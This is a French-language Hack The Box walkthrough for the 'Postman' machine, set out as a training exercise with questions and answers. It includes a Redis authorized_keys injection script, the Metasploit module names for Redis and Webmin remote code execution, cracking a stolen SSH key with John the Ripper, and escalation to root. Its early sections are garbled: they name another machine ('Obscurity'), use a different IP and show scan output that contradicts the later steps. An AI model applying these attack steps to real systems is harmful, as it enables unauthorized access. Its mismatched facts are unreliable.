Hack The Box : Postman

Roger PRIOU
roger.priou@edu.esiee.fr

Secur'IT — December 15, 2020

Sommaire

1 Préambule

Avant de commencer, il va falloir mettre en place le VPN avec Hack The Box, cela implique que vous avez réussi le premier challenge et que vous vous êtes inscrit. Une fois connecté à votre compte rendez vous dans la section *Labs* puis *Access*. Ensuite, suivez les instructions qui consistent en l'installation du paquet *openvpn* (pré-installé sur certaines distributions, notamment Kali) :

Commandes

```
# apt install openvpn
```

et du téléchargement du fichier fourni par Hack The Box au format *<username>.ovpn*. Il vous faudra réserver un shell pour le lancement de la commande suivante :

Commandes

```
$ openvpn <username>.ovpn
```

et la laisser tourner en tâche de fond; en parallèle, une nouvelle interface devrait apparaître, nommée *tun0* avec une adresse IP au format 10.10.x.x. C'est cette adresse qui vous permettra de communiquer avec les machines Hack The Box.
Une fois tout cela mis en place, allez dans la section *Machines* puis *All*, et sélectionnez la machine *Postman*. En survolant le nom de la machine, l'adresse IP de cette dernière va apparaître, cette adresse nous permettra d'accéder à cette machine et d'effectuer la compromission.

Information: Pour plus de facilité lors de vos challenges, et de manière générale, je vous conseille de créer un dossier dans lequel vous garderez tout vos résultats comme :

- Adresses IP des différentes machines
- Sorties standards des analyses effectuées
- Fichiers "suspects" trouvés dans les machines
- ...

2 Fingerprinting de la machine distante

Dans un premier temps nous allons scanner la machine distante pour obtenir un maximum d'informations sur cette dernière. Il existe plusieurs outils pour effectuer ce scan, par exemple *nmap*. L'outil comporte une pléthore d'options; néanmoins, par soucis de gain de temps nous allons utiliser l'option *-sV* de l'outil qui permet de faire un scan complet de la machine *Obscurity*.

NMAP :

- Téléchargement via le site internet : lien ou en ligne de commande :

Commandes
```
# apt install nmap
```

- Documentation via le site internet : lien ou en ligne de commande :

Commandes
```
$ nmap --help
```

Information: Attention ! L'utilisation d'un tel outil n'est pas sans trace, en effet, avec une telle option, si la machine distante est entourée d'outils de surveillance réseau, ces derniers détecteront le scan et les résultats obtenus ne seront probablement pas exploitables (exemple : ban IP).

2.1 Test 1

Question 1

Donner les 3 ports ouverts (ssh exclus) ?

Solution 1

80, 8080, 9000

3 Analyse des résultats obtenus

Dans cette partie nous allons exploiter les résultats obtenus lors de la partie précédente. Si le scan nmap s'est bien déroulé vous devriez obtenir les résultats suivant :

resultatsnmap.txt

```
nmap -sV 10.10.10.168
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-04 17:42 CET
Nmap scan report for 10.10.10.168
Host is up (0.12s latency).
Not shown: 996 filtered ports
PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux;
protocol 2.0)
80/tcp   closed http
8080/tcp open   http-proxy BadHTTPServer
9000/tcp closed cslistener
1 service unrecognized despite returning data. If you know the service/ve
rsion, please submit the following fingerprint at https://nmap.org/cgi-bi
n/submit.cgi?new-service :
[...]
Service detection performed. Please report any incorrect results at https
://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.22 seconds
```

Nous voyons tout de suite que seul les ports 22 et 8080 sont ouverts, de ce fait nous allons éliminer les autres ports trouvés dans ce scan. Dans un premier temps nous pouvons vérifier l'existence de la page internet avec votre navigateur favori en tapant dans la barre d'adresse l'URL suivant :

- *http://10.10.10.168:8080/*

Nous arrivons sur une page et en lisant on remarque la phrase suivante :

- *Message to server devs: the current source code for the web server is in 'SuperSecureServer.py' in the secret development directory*

Qu'est-ce que cela nous indique ? Cela veut certainement dire qu'une page "cachée" se situe sur ce site dans laquelle se trouve le fichier *SuperSecureServer.py*. Pour pouvoir trouver ce répertoire nous allons utiliser l'outil *wfuzz* qui va permettre de bruteforce l'URL en renvoyant ceux qui sont fonctionnels.

Commandes

```
$ wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/common.txt --hc 404
http://10.10.10.168:8080/FUZZ/SuperSecureServer.py
                          |____|
                            |
                  partie que l'on veut fuzzer

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work co
rrectly when fuzzing SSL sites. Check Wfuzz's documentation for more inf
ormation.

********************************************************
* Wfuzz 2.4 - The Web Fuzzer                           *
********************************************************

Target: http://10.10.10.168:8080/FUZZ/SuperSecureServer.py
Total requests: 949

=====================================================================
ID           Response   Lines    Word     Chars       Payload
=====================================================================

000000259:   200        170 L    498 W    5892 Ch     "develop"

Total time: 37.63644
Processed Requests: 949
Filtered Requests: 948
Requests/sec.: 25.21491
```

On récupère ainsi le fichier "caché", il ne nous reste plus qu'à l'exploiter.

Information: Redis

Vous trouverez la description de *Redis* ici. Pour installer tous les outils nécessaires pour la suite, tapez la commande suivante :

Commandes

```
# apt install redis-*
```

Information: Webmin

Vous trouverez la description de *Webmin* ici. Aucune autre installation n'est nécessaire.

Commençons par le commencement, c'est-à-dire le port 6379, correspondant au port par défaut du service *Redis*. Puisque nous avons récupéré la version tournant sur la machine distante nous allons partir à la recherche dd'une faille existante. Pour ce faire, plusieurs outils sont à notre disposition, de manière non exhaustive nous allons citer :

- *searchsploit*
- *msfconsole*

Le premier permettant de rechercher un exploit/faille sur un système, un service (ou autre) que vous pouvez installer en suivant les indications décrites sur leur site. Étant un outil de recherche, *searchsploit* permet de spécifier la version pour avoir des résultats plus pertinents. Néanmoins il faut faire très attention avec l'outil de recherche puisque certains résultats peuvent être omis, il vaut mieux donc viser plus large dans une recherche. Le second est un outil complet que vous pouvez installer à l'aide de la commande suivante :

Commandes
```
# apt install metasploit-framework
```

Effectivement, il permet tout comme *searchsploit* de réaliser des recherches, mais il s'agit surtout d'un outil d'exploitation pour chacun. Personnellement j'utilise le deuxième pour avoir un aperçu des différents paramètres nécessaires à l'exploitation d'une faille (nous verrons par la suite l'utilisation de *metasploit* plus en détail). Avant d'avancer plus loin, il ne faut surtout pas négliger un outil que tout le monde à "d'installer" sur son système d'exploitation; et oui nous parlons ici de *Google*, plus précisément de son algorithme de recherche ainsi que de la quantité de données que l'on peut trouver. Sans plus détailler je vous renvoye vers un livre expliquant la puissance de *Google*.
Trêve de bavardage, et passons au vif du sujet en recherchant un exploit vis-à-vis du service *Redis*. Lançons l'outil *metasploit* à l'aide de la commande :

Commandes
```
$ msfconsole
```

et découvrons plus en détail de quoi est fait cet outil. Il faut savoir que son utilisation est très simple, il faut communiquer avec cet outil comme on le ferait naturellement avec un enfant. Par exemple vous voulez **rechercher** un exploit sur un noyau *Linux*, il vous faut taper :

Commandes
```
$ search linux
```

Simple, non ? Je vais vous convaincre pour de bon :

- vous voulez **utilisez** un exploit, vous tapez :

  Commandes
  ```
  msf5> use [chemin vers nom de l'exploit]
  ```

- vous voulez **afficher les options** d'un exploit vous tapez :

  Commandes
  ```
  msf5> show options
  ```

- vous voulez **modifier une option** d'un exploit vous tapez :

  Commandes
  ```
  msf5> set [nom de l'option] [nouvel valeur]
  ```

- vous voulez **lancer** votre exploit tapez :

Commandes

```
msf5> run
```

Et si je ne vous ai toujours pas convaincu tappez :

Commandes

```
msf5> help
```

3.1 Test 2

Question 2

Donner le nom de l'exploit (format msfconsole) pour redis ?

Solution 2

exploit/linux/redis/redis_unauth_exec

4 Mise en place d'un exploit

Une fois que vous avez choisi le bon exploit, changé toutes les options par rapport à votre configuration, installé les outils *Redis* sur votre ordinateur comme dit précédemment (3), il faudra éditer le fichier de configuration */etc/redis/redis.conf* en modifiant les 2 lignes suivantes :

```
/etc/redis/redis.conf
...
bind 127.0.0.1 ::1
...
protected-mode yes
...
```

en

```
/etc/redis/redis.conf
...
#bind 127.0.0.1 ::1
...
protected-mode no
...
```

Enfin vous pouvez lancer l'exploit lancer l'exploit.

4.1 Test 3

Question 3

Donner la dernière ligne de l'éxecution de msfconsole ?

Solution 3

Exploit completed, but no session was created.

On se rend compte que l'exploit fonctionne mais ne nous permet aucun accès aux fichiers de l'ordinateur. On peut constater toutefois que l'exécution de commande est possible sans aucune identification. De ce fait, on peut par exemple modifier le fichier *$HOME/.ssh/authorized_keys* et autoriser la connexion SSH de notre ordinateur vers *Postman* sans passer par une utilisation de mot de passe. En effet, le protocole SSH est conçu pour ne pas avoir à retaper à chaque fois un mot de passe si l'on fournit à l'hôte distant une clé publique. Voici le script qui va nous permettre de nous connecter en SSH à la machine distante :

scriptDeConnexion.sh

```
#!/bin/bash

rm [...]
ssh-keygen -t rsa

(echo -e "\n\n"; cat [...]; echo -e "\n\n") > foo.txt

redis-cli -h 10.10.10.160 flushall
cat foo.txt | redis-cli -h 10.10.10.160 -x set crackit
redis-cli -h 10.10.10.160 config set dir /var/lib/redis/.ssh/
redis-cli -h 10.10.10.160 config set dbfilename "authorized_keys"
redis-cli -h 10.10.10.160 save

ssh -i [...] redis@10.10.10.160
```

Bien entendu il vous faut autoriser l'exécution du fichier et ensuite lancer l'exécution comme ceci :

Commandes

```
$ chmod u+x scriptDeConnexion.sh
$ ./scriptDeConnexion.sh
```

Attention: Il est possible qu'une erreur de **Read-only** apparaisse, cela ne veut pas forcément dire que ce que vous avez mis est faux, mais que d'autres personnes sont actuellement en train d'essayer de se connecter et/ou on modifier des fichiers de configuration. Il vous suffit d'attendre. Afin de savoir quand cela va marcher, vous pouvez taper la commande :

```
$ redis-cli -h 10.10.10.160 flushall
```

si la réponse est **OK** alors vous pouvez lancer le script en toute tranquillité.

4.2 Test 4

Question 4

Donner le nom du seul dossier possédé par l'utilisateur root situé dans le $HOME de redis (emplacement juste après la connexion SSH) ?

Solution 4

6379

5 Analyse de la machine

Alléluia ! Nous y sommes, nous avons accédé à la machine, seulement nous ne sommes qu'un simple utilisateur (redis), et nous allons devoir faire ce qu'on appelle communément de l'*escalade de privilège*. Il existe un grand nombre d'outils permettant d'effectuer des scans de système Linux afin d'afficher un grand nombre d'informations utiles qui concernent généralement les droits des utilisateurs de manière générale. Pour vous faciliter la tâche je vous ai fourni le fichier à exécuter et pour lequel le résultat contiendra le fichier dit "intéressant". Bien entendu il faut lancer le script depuis la machine Postman et donc amener le script jusqu'à la machine Postman. Pour cette partie je vous laisse le soin de choisir le moyen de transmission.

Information: Pour plus de facilité, je vous conseille de renvoyer la sortie standard du script dans un fichier que vous transférez ensuite vers votre machine, cela vous permettra de pouvoir analyser le fichier plus calmement mais surtout grâce à des outils de recherche comme notre bon ami *CTRL+F*.

5.1 Test 5

Question 5

Donner le chemin vers le fichier à exploiter ?

Solution 5

/opt/id_rsa.bak

6 Analyse des résultats obtenus

On s'y approche ! Nous avons un fichier de sauvegarde qui semble correspondre à une clé, mais quel type de clé ? Potentiellement une clé privée qui nous permettrait de nous faire passer pour la personne possédant la clé. Mais il nous manque le mot de passe avec lequel la clé a été générée et également le possesseur de cette clé.

6.1 Test 6

Question 6

Donner le nom de l'utilisateur auquel appartient ce fichier ?

Solution 6

Matt

7 Exploitation des résultats obtenus

Ça y est nous avons toutes les clés en main, c'est le cas de le dire ! Mais il nous manque le mot de passe comme dit précédemment. Comme je suis gentil, je vais vous donner les outils pour pouvoir la cracker car Matt n'était pas très inspiré lorsqu'il a généré son mot de passe. Nous allons faire appel à notre meilleur ami quant il s'agit de *bruteforcer* des mots de passe : *John the Ripper*. Je vous laisse le soin de choisir le dictionnaire de mot de passe, mais je vous montre la structure de la commande qui est la suivante :

Commandes

```
$ john [fichier contenant la clé] --wordlist=[dictionnaire de mot de passe]
```

Attention: *John the Ripper* a besoin qu'on lui fournisse le fichier sous un format particulier. Je vous recommande d'utiliser l'outil suivant :

```
$ ./ssh2john.py [fichier original] > [fichier formaté pour john]
```

Vous pourrez télécharger *ssh2john* ici !

7.1 Test 7

Question 7

Donner les 4 derniers caractères du mot de passe de la clé privée de Matt ?

Solution 7

2008

8 Utilisation des résultats obtenus

Nous avons le mot de passe de la clé, nous allons pouvoir nous connecter via SSH à l'utilisateur Matt ! Essayons ... mais ce n'est pas possible, pourquoi ?

Commandes

```
$ ssh -i /opt/id_rsa.bak Matt@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:kea9iwskZTAT66U8yNRQiTa6t35LX8p0jOpTfvgeCh0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.
Enter passphrase for key '/opt/id_rsa.bak':
Connection closed by 127.0.0.1 port 22
```

S'il ont regarde de plus près le fichier de configuration SSH situé à l'emplacement */etc/ssh/sshd_config*, on peut voir quelque chose expliquant le fait que l'on ne puisse pas se connecter. Effectivement on peut voir la ligne suivante :

Commandes

```
$ cat /etc/ssh/sshd_config | grep --color -A2 -B2 "Matt"

#deny users
DenyUsers Matt

# no default banner path
```

cela nous indique que les connexions SSH ne sont pas faisable avec l'utilisateur Matt.
Mais qu'allons-nous faire ? Nous pouvons essayé de nous connecter à l'utilisateur Matt, en utilisant la commande :

Commandes

```
redis@Postman:~$ su Matt
Password:<mot de passe trouvé>
Matt@Postman:/var/lib/redis$
```

Effectivement la commande *su* permet également de nombreuses choses (voir le manuel de la commande pour plus de détail ou cette article résumant les principales utilisations) dont la connexion à un utilisateur. Or comme la commande *login* n'est pas possible depuis l'utilisateur redis comme le montre les sorties suivantes :

Commandes

```
redis@Postman:~$ login
login: Cannot possibly work without effective root
```

nous avons donc recours à la commande *su*.
Néanmoins cette opération n'a été possible que grâce à la négligeance de l'utilisateur Matt qui a choisi le même mot de passe pour son compte et pour sa clé privée !
Ainsi une fois dans l'arborescence de Matt nous pouvons récupérer le premier flag qui se situe dans son *$HOME*.

9 Analyse Web

Nous y sommes presque, il ne nous manque plus qu'à trouver le flag situé dans le *$HOME* de l'utilisateur root pour terminer ce challenge, comment faire ?
Nous avons laissé quelque chose au tout début : le service *Webmin*. Si vous vous souvenez bien ce service se situe sur le port 10000, nous pouvons dans un premier temps effectuer une recherche dans notre navigateur internet via la barre de recherche en entrant manuellement toutes ces informations. Si vous ne savez pas comment spécifier un port, c'est très simple faites comme l'exemple suivant avec les paramètres de notre challenge :

[protocole]://[adresse]:[port]

9.1 Test 8

Question 8

Donner l'adresse complète que vous avez taper dans votre barre de recherche ?

Solution 8

https://10.10.10.160:10000/

Si tout se passe comme prévu votre navigateur devrait lever une exception, celle d'un certificat non valide. Bien entendu tout cela est normal et vous devez accepter le risque et continuer pour pouvoir accéder à l'espade de *login*.
Étant donné que notre utilisateur Matt n'est pas très consciencieux vis-à-vis de la sécurité nous pouvons essayer de taper le même *login/password* que précédemment. Comme par magie cela fonctionne et nous accédons à l'espace personnel de Matt, rien de bien intéressant mis à part peut-être des *package update* qui sont signalés comme disponibles. Peut-être que cela constitue notre porte d'entrée pour notre utilisateur root. Faisons comme avec *Redis* et allons rechercher sur *msfconcole* une possible faille.

9.2 Test 9

Question 9

Donner le nom de l'exploit (format msfconsole) pour webmin ?

Solution 9

exploit/linux/http/webmin_packageup_rce

10 Mise en place d'un exploit

Ensuite utiliser les différentes commandes vues plus haut pour configurer l'exploit avec les paramètres adaptés. Le mot de passe demandé étant le mot de passe de Matt.

Information: Petit indice, le protocole SSL est nécessaire au bon fonctionnement de l'exploit.

Si toutes les configurations sont correctes alors un terminal devrait apparaître (implicitement), il vous faut donc taper :

Commandes

```
$ whoami
root
```

et constater que vous êtes root. De ce fait vous pouvez accéder au flag nécessaire à la validation, dans le dossier *$HOME* de root.

Merci de votre attention.
En espérant que ce petit guide
vous ait plu.